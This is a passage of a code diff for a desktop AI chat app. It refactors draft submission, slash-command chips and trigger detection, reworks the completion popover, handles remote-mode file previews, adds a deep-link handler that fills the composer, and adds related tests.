+      .then(accepted => void (accepted === false ? restore() : clearSessionDraft(submittedScope)))
+      .catch(restore)
+  }
+
   const submitDraft = () => {
     // Source the text from the DOM editor, not React state. The AUI composer
     // state (`draft`) and the derived `hasComposerPayload` lag the DOM by a
@@ -1248,8 +1420,10 @@ export function ChatBar({
     // input event; refresh it from the editor once more to also cover an
     // in-flight keystroke that hasn't fired its input event yet.
     const editor = editorRef.current
+
     if (editor) {
       const domText = composerPlainText(editor)
+
       if (domText !== draftRef.current) {
         draftRef.current = domText
         aui.composer().setText(domText)
@@ -1270,10 +1444,9 @@ export function ChatBar({
       // /send directives).  Queuing them would make every slash command wait
       // for the current turn to finish, which is how the TUI never behaves.
       if (!attachments.length && SLASH_COMMAND_RE.test(text.trim())) {
-        const submitted = text
         triggerHaptic('submit')
         clearDraft()
-        void onSubmit(submitted)
+        dispatchSubmit(text)
       } else if (payloadPresent) {
         queueCurrentDraft()
       } else {
@@ -1285,12 +1458,12 @@ export function ChatBar({
     } else if (!payloadPresent && queuedPrompts.length > 0) {
       void drainNextQueued()
     } else if (payloadPresent) {
-      const submitted = text
+      const submittedAttachments = cloneAttachments(attachments)
       triggerHaptic('submit')
       resetBrowseState(sessionId)
       clearDraft()
       clearComposerAttachments()
-      void onSubmit(submitted, { attachments })
+      dispatchSubmit(text, submittedAttachments)
     }
 
     focusInput()
@@ -1457,7 +1630,7 @@ export function ChatBar({
         onPaste={handlePaste}
         ref={editorRef}
         role="textbox"
-        spellCheck="true"
+        spellCheck={false}
         suppressContentEditableWarning
       />
       {/* assistant-ui requires ComposerPrimitive.Input somewhere in the tree
@@ -1476,7 +1649,15 @@ export function ChatBar({
         `asChild` swaps TextareaAutosize for a Radix Slot wrapping our
         plain <textarea>, which carries the binding but skips autosize. */}
       <ComposerPrimitive.Input asChild submitMode="ctrlEnter" tabIndex={-1} unstable_focusOnScrollToBottom={false}>
-        <textarea aria-hidden className="sr-only" tabIndex={-1} />
+        <textarea
+          aria-hidden
+          autoCapitalize="off"
+          autoComplete="off"
+          autoCorrect="off"
+          className="sr-only"
+          spellCheck={false}
+          tabIndex={-1}
+        />
       </ComposerPrimitive.Input>
     </div>
   )
@@ -1515,7 +1696,6 @@ export function ChatBar({
               onPick={replaceTriggerWithChip}
             />
           )}
-          <SkinSlashPopover draft={draft} onSelect={selectSkinSlashCommand} />
           {activeQueueSessionKey && queuedPrompts.length > 0 && (
             // Out of flow so the queue never inflates the composer's measured
             // height (that drives thread bottom padding → chat resizes on

apps/desktop/src/app/chat/composer/rich-editor.ts

@@ -10,7 +10,10 @@ import {
   DIRECTIVE_CHIP_CLASS,
   directiveIconElement,
   directiveIconSvg,
-  formatRefValue
+  formatRefValue,
+  slashChipClass,
+  type SlashChipKind,
+  slashIconElement
 } from '@/components/assistant-ui/directive-text'
 
 export const RICH_INPUT_SLOT = 'composer-rich-input'
@@ -77,6 +80,24 @@ export function refChipElement(kind: string, rawValue: string, displayLabel?: st
   return chip
 }
 
+/** A non-editable pill for a picked slash command (`/skin nous`, `/tropes`).
+ *  `data-ref-text` carries the literal command so `composerPlainText` round-trips
+ *  it back to the exact text that gets submitted. */
+export function slashChipElement(command: string, kind: SlashChipKind, label?: string) {
+  const chip = document.createElement('span')
+  const text = document.createElement('span')
+
+  chip.contentEditable = 'false'
+  chip.dataset.refText = command
+  chip.dataset.slashKind = kind
+  chip.className = slashChipClass(kind)
+  text.className = 'truncate'
+  text.textContent = label || command
+  chip.append(slashIconElement(kind), text)
+
+  return chip
+}
+
 function appendTextWithBreaks(target: DocumentFragment | HTMLElement, text: string) {
   const lines = text.split('\n')
 

apps/desktop/src/app/chat/composer/skin-slash-popover.tsx

@@ -1,61 +0,0 @@
-import { useI18n } from '@/i18n'
-import { desktopSkinSlashCompletions } from '@/lib/desktop-slash-commands'
-import { triggerHaptic } from '@/lib/haptics'
-import { useTheme } from '@/themes/context'
-
-import { COMPLETION_DRAWER_CLASS, COMPLETION_DRAWER_ROW_CLASS, CompletionDrawerEmpty } from './completion-drawer'
-
-interface SkinSlashPopoverProps {
-  draft: string
-  onSelect: (command: string) => void
-}
-
-export function SkinSlashPopover({ draft, onSelect }: SkinSlashPopoverProps) {
-  const { t } = useI18n()
-  const c = t.composer
-  const { availableThemes, themeName } = useTheme()
-  const match = draft.match(/^\/skin\s+(\S*)$/i)
-
-  if (!match) {
-    return null
-  }
-
-  const items = desktopSkinSlashCompletions(availableThemes, themeName, match[1] ?? '')
-
-  return (
-    <div
-      aria-label={c.themeSuggestions}
-      className={COMPLETION_DRAWER_CLASS}
-      data-slot="composer-skin-completion-drawer"
-      data-state="open"
-      role="listbox"
-    >
-      <div className="grid gap-0.5 pt-0.5">
-        {items.length === 0 ? (
-          <CompletionDrawerEmpty title={c.noMatchingThemes}>
-            {c.themeTryPre}
-            <span className="font-mono text-foreground/80">/skin list</span>
-            {c.themeTryPost}
-          </CompletionDrawerEmpty>
-        ) : (
-          items.map(item => (
-            <button
-              className={COMPLETION_DRAWER_ROW_CLASS}
-              key={item.text}
-              onClick={() => {
-                triggerHaptic('selection')
-                onSelect(item.text)
-              }}
-              onMouseDown={event => event.preventDefault()}
-              role="option"
-              type="button"
-            >
-              <span className="shrink-0 font-mono font-medium leading-5 text-foreground">{item.display}</span>
-              <span className="min-w-0 truncate leading-5 text-muted-foreground/80">{item.meta}</span>
-            </button>
-          ))
-        )}
-      </div>
-    </div>
-  )
-}

apps/desktop/src/app/chat/composer/text-utils.test.ts

@@ -22,6 +22,33 @@ describe('detectTrigger', () => {
   it('returns null for plain text', () => {
     expect(detectTrigger('hello there')).toBeNull()
   })
+
+  it('keeps the slash trigger live while typing args', () => {
+    expect(detectTrigger('/personality ')).toEqual({
+      kind: '/',
+      query: 'personality ',
+      tokenLength: 13
+    })
+    expect(detectTrigger('/personality alic')).toEqual({
+      kind: '/',
+      query: 'personality alic',
+      tokenLength: 17
+    })
+    expect(detectTrigger('/tools enable foo')).toEqual({
+      kind: '/',
+      query: 'tools enable foo',
+      tokenLength: 17
+    })
+  })
+
+  it('does not treat file-style paths as slash triggers', () => {
+    expect(detectTrigger('src/foo/bar')).toBeNull()
+    expect(detectTrigger('/path/to/file')).toBeNull()
+  })
+
+  it('still anchors at-mention triggers strictly at the token edge', () => {
+    expect(detectTrigger('@file:path with space')).toBeNull()
+  })
 })
 
 describe('extractClipboardImageBlobs', () => {

apps/desktop/src/app/chat/composer/text-utils.ts

@@ -6,7 +6,13 @@ export interface TriggerState {
   tokenLength: number
 }
 
-const TRIGGER_RE = /(?:^|[\s])([@/])([^\s@/]*)$/
+// `@` triggers stop at the first whitespace — `@file:path` and `@diff` are
+// single tokens. `/` triggers keep going so the popover stays live while the
+// user types args (`/personality alic` → arg completer suggests `alice`).
+// Restricting the slash command name to `[a-zA-Z][\w-]*` avoids matching file
+// paths like `src/foo/bar`.
+const AT_TRIGGER_RE = /(?:^|[\s])(@)([^\s@/]*)$/
+const SLASH_TRIGGER_RE = /(?:^|[\s])(\/)((?:[a-zA-Z][\w-]*(?:\s+\S*)*)?)$/
 
 /** Stable key for paste dedupe — `items` and `files` often mirror the same image as different objects. */
 export function blobDedupeKey(blob: Blob): string {
@@ -97,11 +103,17 @@ export function textBeforeCaret(editor: HTMLDivElement): string | null {
 }
 
 export function detectTrigger(textBefore: string): TriggerState | null {
-  const match = TRIGGER_RE.exec(textBefore)
+  const slash = SLASH_TRIGGER_RE.exec(textBefore)
 
-  if (!match) {
-    return null
+  if (slash) {
+    return { kind: '/', query: slash[2], tokenLength: 1 + slash[2].length }
   }
 
-  return { kind: match[1] as '@' | '/', query: match[2], tokenLength: 1 + match[2].length }
+  const at = AT_TRIGGER_RE.exec(textBefore)
+
+  if (at) {
+    return { kind: '@', query: at[2], tokenLength: 1 + at[2].length }
+  }
+
+  return null
 }

apps/desktop/src/app/chat/composer/trigger-popover.test.tsx

@@ -34,9 +34,17 @@ describe('ComposerTriggerPopover i18n', () => {
   })
 
   it('renders localized loading copy for slash commands', () => {
-    const { container } = renderPopover('/', true)
+    renderPopover('/', true)
 
+    // While loading the popover shows only the spinner + loading copy — the
+    // `/help` empty-state hint is reserved for the resolved (not-loading) state.
     expect(screen.getByText('查找中…')).toBeTruthy()
+  })
+
+  it('renders the slash empty-state hint when not loading', () => {
+    const { container } = renderPopover('/')
+
+    expect(screen.getByText('没有匹配项。')).toBeTruthy()
     expect(container.textContent).toContain('/help')
   })
 })

apps/desktop/src/app/chat/composer/trigger-popover.tsx

@@ -1,5 +1,7 @@
 import type { Unstable_TriggerItem } from '@assistant-ui/core'
+import { Fragment } from 'react'
 
+import { BrailleSpinner } from '@/components/ui/braille-spinner'
 import { Codicon } from '@/components/ui/codicon'
 import { useI18n } from '@/i18n'
 import { cn } from '@/lib/utils'
@@ -7,7 +9,6 @@ import { cn } from '@/lib/utils'
 import {
   COMPLETION_DRAWER_BELOW_CLASS,
   COMPLETION_DRAWER_CLASS,
-  COMPLETION_DRAWER_ROW_CLASS,
   CompletionDrawerEmpty
 } from './completion-drawer'
 
@@ -23,11 +24,7 @@ const AT_ICON_BY_TYPE: Record<string, string> = {
   url: 'globe'
 }
 
-function completionIcon(kind: '@' | '/', item: Unstable_TriggerItem) {
-  if (kind === '/') {
-    return 'terminal'
-  }
-
+function atIcon(item: Unstable_TriggerItem) {
   const meta = item.metadata as { rawText?: string } | undefined
   const raw = meta?.rawText || item.label
 
@@ -42,6 +39,18 @@ function completionIcon(kind: '@' | '/', item: Unstable_TriggerItem) {
   return AT_ICON_BY_TYPE[item.type] || AT_ICON_BY_TYPE.simple
 }
 
+interface RowMeta {
+  display?: string
+  group?: string
+  meta?: string
+}
+
+const ROW_BASE_CLASS = [
+  'relative flex w-full cursor-default select-none rounded-md px-2 py-1 text-left',
+  'outline-hidden transition-colors hover:bg-(--ui-bg-tertiary)',
+  'data-[highlighted]:bg-(--ui-bg-tertiary) data-[highlighted]:text-foreground'
+].join(' ')
+
 interface ComposerTriggerPopoverProps {
   activeIndex: number
   items: readonly Unstable_TriggerItem[]
@@ -63,6 +72,9 @@ export function ComposerTriggerPopover({
 }: ComposerTriggerPopoverProps) {
   const { t } = useI18n()
   const copy = t.composer
+  const isSlash = kind === '/'
+
+  let lastGroup: string | undefined
 
   return (
     <div
@@ -73,41 +85,94 @@ export function ComposerTriggerPopover({
       role="listbox"
     >
       {items.length === 0 ? (
-        <CompletionDrawerEmpty title={loading ? copy.lookupLoading : copy.lookupNoMatches}>
-          {kind === '@' ? (
-            <>
-              {copy.lookupTry} <span className="font-mono text-foreground/80">@file:</span> {copy.lookupOr}{' '}
-              <span className="font-mono text-foreground/80">@folder:</span>.
-            </>
-          ) : (
-            <>
-              {copy.lookupTry} <span className="font-mono text-foreground/80">/help</span>.
-            </>
-          )}
-        </CompletionDrawerEmpty>
+        loading ? (
+          <div className="flex items-center gap-2 px-2 py-1.5 text-(--ui-text-tertiary)">
+            <BrailleSpinner ariaLabel={copy.lookupLoading} className="text-foreground/70" spinner="braille" />
+            <span>{copy.lookupLoading}</span>
+          </div>
+        ) : (
+          <CompletionDrawerEmpty title={copy.lookupNoMatches}>
+            {kind === '@' ? (
+              <>
+                {copy.lookupTry} <span className="font-mono text-foreground/80">@file:</span> {copy.lookupOr}{' '}
+                <span className="font-mono text-foreground/80">@folder:</span>.
+              </>
+            ) : (
+              <>
+                {copy.lookupTry} <span className="font-mono text-foreground/80">/help</span>.
+              </>
+            )}
+          </CompletionDrawerEmpty>
+        )
       ) : (
         items.map((item, index) => {
-          const meta = item.metadata as { display?: string; meta?: string } | undefined
-          const display = meta?.display ?? (kind === '/' ? `/${item.label}` : item.label)
+          const meta = item.metadata as RowMeta | undefined
+          const display = meta?.display ?? (isSlash ? `/${item.label}` : item.label)
           const description = meta?.meta || item.description
+          const group = meta?.group?.trim()
+          const showHeader = isSlash && Boolean(group) && group !== lastGroup
+          const isFirstHeader = lastGroup === undefined
+          lastGroup = group || lastGroup
+          const active = index === activeIndex
 
           return (
-            <button
-              className={cn(COMPLETION_DRAWER_ROW_CLASS, index === activeIndex && 'bg-(--ui-bg-tertiary)')}
-              data-highlighted={index === activeIndex ? '' : undefined}
-              key={item.id}
-              onClick={() => onPick(item)}
-              onMouseEnter={() => onHover(index)}
-              type="button"
-            >
-              <span className="grid size-3.5 shrink-0 place-items-center text-(--ui-text-tertiary)">
-                <Codicon name={completionIcon(kind, item)} size="0.875rem" />
-              </span>
-              <span className="min-w-0 shrink truncate font-mono font-medium leading-5 text-foreground">{display}</span>
-              {description && (
-                <span className="min-w-0 flex-1 truncate leading-5 text-(--ui-text-tertiary)">{description}</span>
+            <Fragment key={item.id}>
+              {showHeader && (
+                <div
+                  className={cn(
+                    'select-none px-2 pb-0.5 text-[0.625rem] font-semibold uppercase tracking-wider text-(--ui-text-tertiary)',
+                    isFirstHeader ? 'pt-0.5' : 'pt-2'
+                  )}
+                >
+                  {group}
+                </div>
               )}
-            </button>
+              <button
+                className={cn(ROW_BASE_CLASS, isSlash ? 'flex-col gap-0' : 'items-center gap-2')}
+                data-highlighted={active ? '' : undefined}
+                onClick={() => onPick(item)}
+                onMouseEnter={() => onHover(index)}
+                type="button"
+              >
+                {isSlash ? (
+                  <>
+                    {/* Active row (keyboard nav or hover) un-truncates inline so
+                        long command names / descriptions stay readable without a
+                        floating tooltip. */}
+                    <span
+                      className={cn(
+                        'text-[0.8125rem] font-medium leading-snug text-foreground',
+                        active ? 'whitespace-normal break-words' : 'truncate'
+                      )}
+                    >
+                      {display}
+                    </span>
+                    {description && (
+                      <span
+                        className={cn(
+                          'text-[0.6875rem] leading-snug text-(--ui-text-tertiary)',
+                          active ? 'whitespace-normal break-words' : 'truncate'
+                        )}
+                      >
+                        {description}
+                      </span>
+                    )}
+                  </>
+                ) : (
+                  <>
+                    <span className="grid size-4 shrink-0 place-items-center text-(--ui-text-tertiary)">
+                      <Codicon name={atIcon(item)} size="0.875rem" />
+                    </span>
+                    <span className="min-w-0 shrink truncate font-mono font-medium leading-5 text-foreground">
+                      {display}
+                    </span>
+                    {description && (
+                      <span className="min-w-0 flex-1 truncate leading-5 text-(--ui-text-tertiary)">{description}</span>
+                    )}
+                  </>
+                )}
+              </button>
+            </Fragment>
           )
         })
       )}

apps/desktop/src/app/chat/right-rail/preview-file.tsx

@@ -13,6 +13,7 @@ import { Streamdown } from 'streamdown'
 import { HERMES_PATHS_MIME } from '@/app/chat/hooks/use-composer-actions'
 import { PageLoader } from '@/components/page-loader'
 import { translateNow, useI18n } from '@/i18n'
+import { readDesktopFileDataUrl, readDesktopFileText } from '@/lib/desktop-fs'
 import { cn } from '@/lib/utils'
 import type { PreviewTarget } from '@/store/preview'
 
@@ -180,15 +181,13 @@ function looksBinaryBytes(bytes: Uint8Array) {
 }
 
 async function readTextPreview(filePath: string) {
-  if (window.hermesDesktop.readFileText) {
-    try {
-      return await window.hermesDesktop.readFileText(filePath)
-    } catch (error) {
-      const message = error instanceof Error ? error.message : String(error)
+  try {
+    return await readDesktopFileText(filePath)
+  } catch (error) {
+    const message = error instanceof Error ? error.message : String(error)
 
-      if (!message.includes("No handler registered for 'hermes:readFileText'")) {
-        throw error
-      }
+    if (!message.includes("No handler registered for 'hermes:readFileText'")) {
+      throw error
     }
   }
 
@@ -288,7 +287,7 @@ const MARKDOWN_COMPONENTS = {
 
 function MarkdownPreview({ text }: { text: string }) {
   return (
-    <div className="preview-markdown mx-auto max-w-3xl px-4 py-3 text-sm text-foreground">
+    <div className="preview-markdown mx-auto max-w-3xl px-4 py-3 text-sm text-foreground" data-selectable-text="true">
       <Streamdown components={MARKDOWN_COMPONENTS} controls={false} mode="static" parseIncompleteMarkdown={false}>
         {text}
       </Streamdown>
@@ -384,7 +383,10 @@ function SourceView({ filePath, language, text }: { filePath: string; language:
           )
         })}
       </div>
-      <div className="relative [&_pre]:m-0 [&_pre]:px-3 [&_pre]:py-3 [&_pre]:bg-transparent!">
+      <div
+        className="relative [&_pre]:m-0 [&_pre]:px-3 [&_pre]:py-3 [&_pre]:bg-transparent!"
+        data-selectable-text="true"
+      >
         {selection && (
           <div
             aria-hidden
@@ -448,7 +450,7 @@ export function LocalFilePreview({ reloadKey, target }: { reloadKey: number; tar
         if (isImage) {
           // Prefer bytes the caller already handed us (a pasted/dropped
           // screenshot) over re-reading a path that may be transient/unreadable.
-          const dataUrl = target.dataUrl || (await window.hermesDesktop.readFileDataUrl(filePath))
+          const dataUrl = target.dataUrl || (await readDesktopFileDataUrl(filePath))
 
           if (active) {
             setState({ dataUrl, loading: false })

apps/desktop/src/app/chat/right-rail/preview-pane.test.tsx

@@ -1,11 +1,50 @@
 import { act, cleanup, render } from '@testing-library/react'
-import { afterEach, describe, expect, it, vi } from 'vitest'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { $connection } from '@/store/session'
 
 import { PreviewPane } from './preview-pane'
 
 describe('PreviewPane console state', () => {
+  beforeEach(() => {
+    vi.stubGlobal('requestAnimationFrame', (callback: FrameRequestCallback) => window.setTimeout(() => callback(Date.now()), 0))
+    vi.stubGlobal('cancelAnimationFrame', (id: number) => window.clearTimeout(id))
+  })
+
   afterEach(() => {
     cleanup()
+    $connection.set(null)
+    vi.unstubAllGlobals()
+  })
+
+  it('does not watch backend-only remote filesystem previews locally', () => {
+    const watchPreviewFile = vi.fn(async () => ({ id: 'watch-1', path: '/remote/file.txt' }))
+    const onPreviewFileChanged = vi.fn(() => vi.fn())
+    $connection.set({ mode: 'remote' } as never)
+    vi.stubGlobal('window', {
+      ...window,
+      hermesDesktop: {
+        onPreviewFileChanged,
+        watchPreviewFile
+      }
+    })
+
+    render(
+      <PreviewPane
+        setTitlebarToolGroup={vi.fn()}
+        target={{
+          kind: 'file',
+          label: 'file.txt',
+          path: '/remote/file.txt',
+          previewKind: 'text',
+          source: '/remote/file.txt',
+          url: 'file:///remote/file.txt'
+        }}
+      />
+    )
+
+    expect(watchPreviewFile).not.toHaveBeenCalled()
+    expect(onPreviewFileChanged).not.toHaveBeenCalled()
   })
 
   it('does not rebuild the pane titlebar group for streamed console logs', () => {

apps/desktop/src/app/chat/right-rail/preview-pane.tsx

@@ -5,6 +5,7 @@ import { useCallback, useEffect, useRef, useState } from 'react'
 import type { SetTitlebarToolGroup, TitlebarTool } from '@/app/shell/titlebar-controls'
 import { Tip } from '@/components/ui/tooltip'
 import { type Translations, useI18n } from '@/i18n'
+import { isDesktopFsRemoteMode } from '@/lib/desktop-fs'
 import { Bug } from '@/lib/icons'
 import { cn } from '@/lib/utils'
 import { notify, notifyError } from '@/store/notifications'
@@ -406,6 +407,7 @@ export function PreviewPane({
   useEffect(() => {
     if (
       target.kind !== 'file' ||
+      isDesktopFsRemoteMode() ||
       !window.hermesDesktop?.watchPreviewFile ||
       !window.hermesDesktop?.onPreviewFileChanged
     ) {

apps/desktop/src/app/chat/sidebar/index.tsx

@@ -797,7 +797,14 @@ export function ChatSidebar({
                     <SidebarMenuButton
                       aria-disabled={!isInteractive}
                       className={cn(
-                        'flex h-7 w-full justify-start gap-2 rounded-md border border-transparent px-2 text-left text-[0.8125rem] font-medium text-(--ui-text-secondary) transition-colors duration-100 ease-out hover:bg-(--ui-control-hover-background) hover:text-foreground hover:transition-none',
+                        // no-drag: these rows sit directly under the titlebar's
+                        // [-webkit-app-region:drag] strips (app-shell.tsx), with only
+                        // 6px of clearance. Drag regions win hit-testing over DOM
+                        // (pointer-events can't override), and on Linux/WSLg the
+                        // resolved region has been observed to swallow clicks on the
+                        // top rows. Same carve-out as USER_BUBBLE_BASE_CLASS in
+                        // thread.tsx.
+                        'flex h-7 w-full justify-start gap-2 rounded-md border border-transparent px-2 text-left text-[0.8125rem] font-medium text-(--ui-text-secondary) transition-colors duration-100 ease-out [-webkit-app-region:no-drag] hover:bg-(--ui-control-hover-background) hover:text-foreground hover:transition-none',
                         active &&
                           'border-(--ui-stroke-tertiary) bg-(--ui-control-active-background) text-foreground shadow-none hover:border-(--ui-stroke-tertiary)!',
                         !isInteractive &&

apps/desktop/src/app/chat/sidebar/session-actions-menu.tsx

@@ -88,7 +88,7 @@ function useSessionActions({ sessionId, title, pinned = false, profile, onPin, o
       label: r.export,
       onSelect: () => {
         triggerHaptic('selection')
-        void exportSession(sessionId, { title })
+        void exportSession(sessionId, { profile, title })
       }
     },
     {

apps/desktop/src/app/command-palette/index.tsx

@@ -8,7 +8,7 @@ import { HUD_HEADING, HUD_ITEM, HUD_POSITION, HUD_SURFACE, HUD_TEXT } from '@/ap
 import { setTerminalTakeover } from '@/app/right-sidebar/store'
 import { Command, CommandEmpty, CommandGroup, CommandInput, CommandItem, CommandList } from '@/components/ui/command'
 import { KbdGroup } from '@/components/ui/kbd'
-import { getHermesConfigRecord, listSessions } from '@/hermes'
+import { getHermesConfigRecord, listAllProfileSessions } from '@/hermes'
 import { useI18n } from '@/i18n'
 import { sessionTitle } from '@/lib/chat-runtime'
 import {
@@ -119,7 +119,7 @@ const paletteFilter = (value: string, search: string, keywords?: string[]): numb
   return needle.split(/\s+/).every(term => haystack.includes(term)) ? 1 : 0
 }
 
-type SessionRow = Awaited<ReturnType<typeof listSessions>>['sessions'][number]
+type SessionRow = Awaited<ReturnType<typeof listAllProfileSessions>>['sessions'][number]
 
 const toSessionEntry = (session: SessionRow): SessionEntry => ({
   id: session.id,
@@ -218,13 +218,13 @@ export function CommandPalette() {
 
   const sessionsQuery = useQuery({
     queryKey: ['command-palette', 'sessions'],
-    queryFn: () => listSessions(200, 1, 'exclude'),
+    queryFn: () => listAllProfileSessions(200, 1, 'exclude'),
     enabled: open
   })
 
   const archivedQuery = useQuery({
     queryKey: ['command-palette', 'archived'],
-    queryFn: () => listSessions(200, 0, 'only'),
+    queryFn: () => listAllProfileSessions(200, 0, 'only'),
     enabled: open
   })
 

apps/desktop/src/app/desktop-controller.tsx

@@ -11,6 +11,7 @@ import { Pane, PaneMain } from '@/components/pane-shell'
 import { useMediaQuery } from '@/hooks/use-media-query'
 import { useSkinCommand } from '@/themes/use-skin-command'
 
+import { requestComposerFocus, requestComposerInsert } from './chat/composer/focus'
 import { formatRefValue } from '../components/assistant-ui/directive-text'
 import { getCronJobs, getSessionMessages, listAllProfileSessions, type SessionInfo, triggerCronJob } from '../hermes'
 import { preserveLocalAssistantErrors, toChatMessages } from '../lib/chat-messages'
@@ -98,6 +99,7 @@ import { RightSidebarPane } from './right-sidebar'
 import { $terminalTakeover } from './right-sidebar/store'
 import { PersistentTerminal, TerminalSlot } from './right-sidebar/terminal/persistent'
 import { CRON_ROUTE, NEW_CHAT_ROUTE, routeSessionId, sessionRoute, SETTINGS_ROUTE } from './routes'
+import { SessionPickerOverlay } from './session-picker-overlay'
 import { SessionSwitcher } from './session-switcher'
 import { useContextSuggestions } from './session/hooks/use-context-suggestions'
 import { useCwdActions } from './session/hooks/use-cwd-actions'
@@ -265,6 +267,31 @@ export function DesktopController() {
     }
   }, [])
 
+  // hermes:// deep links (e.g. a docs "Send to App" button for an automation blueprint).
+  // Build the equivalent /blueprint slash command from the payload and drop
+  // it into the composer — the user reviews/edits, then sends; the agent (or
+  // the shared command handler) creates the job. Signal readiness so a link
+  // that arrived during boot is flushed exactly once.
+  useEffect(() => {
+    const unsubscribe = window.hermesDesktop?.onDeepLink?.((payload) => {
+      if (!payload || payload.kind !== 'blueprint' || !payload.name) {
+        return
+      }
+      const slots = Object.entries(payload.params || {})
+        .map(([k, v]) => {
+          const sval = /\s/.test(v) ? `"${v.replace(/"/g, '\\"')}"` : v
+          return `${k}=${sval}`
+        })
+        .join(' ')
+      const command = `/blueprint ${payload.name}${slots ? ' ' + slots : ''}`
+      requestComposerInsert(command, { mode: 'block', target: 'main' })
+      requestComposerFocus('main')
+    })
+    // Tell the main process the renderer is ready to receive deep links.
+    void window.hermesDesktop?.signalDeepLinkReady?.()
+    return () => unsubscribe?.()
+  }, [])
+
   useEffect(() => {
     const onKeyDown = (event: KeyboardEvent) => {
       if (!$filePreviewTarget.get() && !$previewTarget.get()) {
@@ -520,7 +547,9 @@ export function DesktopController() {
         return
       }
 
-      const storedProfile = $sessions.get().find(session => session.id === storedSessionId)?.profile
+      const storedProfile = $sessions
+        .get()
+        .find(session => session.id === storedSessionId || session._lineage_root_id === storedSessionId)?.profile
 
       for (let index = 0; index < Math.max(1, attempts); index += 1) {
         try {
@@ -694,6 +723,7 @@ export function DesktopController() {
     handleSkinCommand,
     refreshSessions,
     requestGateway,
+    resumeStoredSession: resumeSession,
     selectedStoredSessionIdRef,
     startFreshSessionDraft,
     sttEnabled,
@@ -743,6 +773,13 @@ export function DesktopController() {
     }
   }, [gatewayState, refreshCronJobs])
 
+  useEffect(() => {
+    if (gatewayState === 'open' && !activeSessionId && freshDraftReady) {
+      void refreshCurrentModel()
+      void refreshHermesConfig()
+    }
+  }, [activeSessionId, freshDraftReady, gatewayState, refreshCurrentModel, refreshHermesConfig])
+
   useRouteResume({
     activeSessionId,
     activeSessionIdRef,
@@ -822,6 +859,7 @@ export function DesktopController() {
         />
       )}
       <ModelPickerOverlay gateway={gatewayRef.current || undefined} onSelect={selectModel} />
+      <SessionPickerOverlay onResume={resumeSession} />
       <ModelVisibilityOverlay gateway={gatewayRef.current || undefined} onOpenProviders={openProviderSettings} />
       <UpdatesOverlay />
       <GatewayConnectingOverlay />

apps/desktop/src/app/gateway/hooks/use-gateway-boot.ts

@@ -3,6 +3,7 @@ import { useEffect, useRef } from 'react'
 import type { HermesConnection } from '@/global'
 import { HermesGateway } from '@/hermes'
 import { translateNow } from '@/i18n'
+import { desktopDefaultCwd } from '@/lib/desktop-fs'
 import { isGatewayReauthRequired, resolveGatewayWsUrl } from '@/lib/gateway-ws-url'
 import {
   $desktopBoot,
@@ -25,12 +26,16 @@ import {
 import { notify, notifyError } from '@/store/notifications'
 import { $activeGatewayProfile, normalizeProfileKey, touchActiveGatewayBackend } from '@/store/profile'
 import {
+  $activeSessionId,
   $attentionSessionIds,
   $connection,
+  $currentCwd,
   $sessions,
   $workingSessionIds,
   ensureDefaultWorkspaceCwd,
   setConnection,
+  setCurrentBranch,
+  setCurrentCwd,
   setSessionsLoading
 } from '@/store/session'
 import type { RpcEvent } from '@/types/hermes'
@@ -353,6 +358,11 @@ export function useGatewayBoot({
           progress: 97
         })
         await ensureDefaultWorkspaceCwd()
+        const remoteDefault = await desktopDefaultCwd().catch(() => null)
+        if (remoteDefault?.cwd && !$activeSessionId.get() && !$currentCwd.get()) {
+          setCurrentCwd(remoteDefault.cwd)
+          setCurrentBranch(remoteDefault.branch || '')
+        }
         await callbacksRef.current.refreshHermesConfig()
 
         if (cancelled) {

apps/desktop/src/app/right-sidebar/files/dnd-manager.ts

@@ -0,0 +1,27 @@
+import { createDragDropManager, type DragDropManager } from 'dnd-core'
+import { HTML5Backend } from 'react-dnd-html5-backend'
+
+let manager: DragDropManager | null = null
+
+/**
+ * A single, app-lifetime react-dnd manager for the file tree.
+ *
+ * react-arborist mounts its own react-dnd `DndProvider` with `HTML5Backend`
+ * inside every `<Tree>`. react-dnd v14 stores that provider's manager on a
+ * global, ref-counted singleton context and nulls it when the count hits 0.
+ * On a keyed remount (cwd / collapse changes force a fresh `<Tree>`), the
+ * singleton can be torn down and recreated while the previous `HTML5Backend`
+ * still owns the `window.__isReactDndHtml5Backend` setup flag — so the new
+ * backend's `setup()` throws "Cannot have two HTML5 backends at the same
+ * time." and trips the file-tree error boundary (it never recovers, because
+ * "Try again" just remounts into the same race).
+ *
+ * Passing arborist a stable `dndManager` makes it skip the global-singleton
+ * path entirely and reuse one backend for the lifetime of the app, so the
+ * window flag is never double-claimed.
+ */
+export function getFileTreeDndManager(): DragDropManager {
+  manager ??= createDragDropManager(HTML5Backend)
+
+  return manager
+}

apps/desktop/src/app/right-sidebar/files/ipc.test.ts

@@ -0,0 +1,100 @@
+/// <reference types="node" />
+
+import { Buffer } from 'node:buffer'
+
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { HermesReadDirEntry, HermesReadDirResult } from '@/global'
+
+import { clearProjectDirCache, readProjectDir } from './ipc'
+
+const readDir = vi.fn<(path: string) => Promise<HermesReadDirResult>>()
+const readFileDataUrl = vi.fn<(path: string) => Promise<string>>()
+const gitRoot = vi.fn<(path: string) => Promise<string | null>>()
+
+function ok(entries: HermesReadDirEntry[]): HermesReadDirResult {
+  return { entries }
+}
+
+function dataUrl(text: string) {
+  return `data:text/plain;base64,${Buffer.from(text, 'utf8').toString('base64')}`
+}
+
+function installBridge() {
+  ;(
+    window as unknown as {
+      hermesDesktop: {
+        gitRoot: typeof gitRoot
+        readDir: typeof readDir
+        readFileDataUrl: typeof readFileDataUrl
+      }
+    }
+  ).hermesDesktop = { gitRoot, readDir, readFileDataUrl }
+}
+
+describe('readProjectDir', () => {
+  beforeEach(() => {
+    clearProjectDirCache()
+    readDir.mockReset()
+    readFileDataUrl.mockReset()
+    gitRoot.mockReset()
+    installBridge()
+  })
+
+  afterEach(() => {
+    clearProjectDirCache()
+    delete (window as unknown as { hermesDesktop?: unknown }).hermesDesktop
+  })
+
+  it('returns no-bridge when the desktop bridge is unavailable', async () => {
+    delete (window as unknown as { hermesDesktop?: unknown }).hermesDesktop
+
+    await expect(readProjectDir('/repo')).resolves.toEqual({ entries: [], error: 'no-bridge' })
+  })
+
+  it('filters gitignored entries when readDir returns Windows-style paths', async () => {
+    gitRoot.mockResolvedValue('C:\\repo')
+    readDir.mockImplementation(async path => {
+      if (path === 'C:\\repo\\src') {
+        return ok([
+          { name: 'debug.log', path: 'C:\\repo\\src\\debug.log', isDirectory: false },
+          { name: '临时.txt', path: 'C:\\repo\\src\\临时.txt', isDirectory: false },
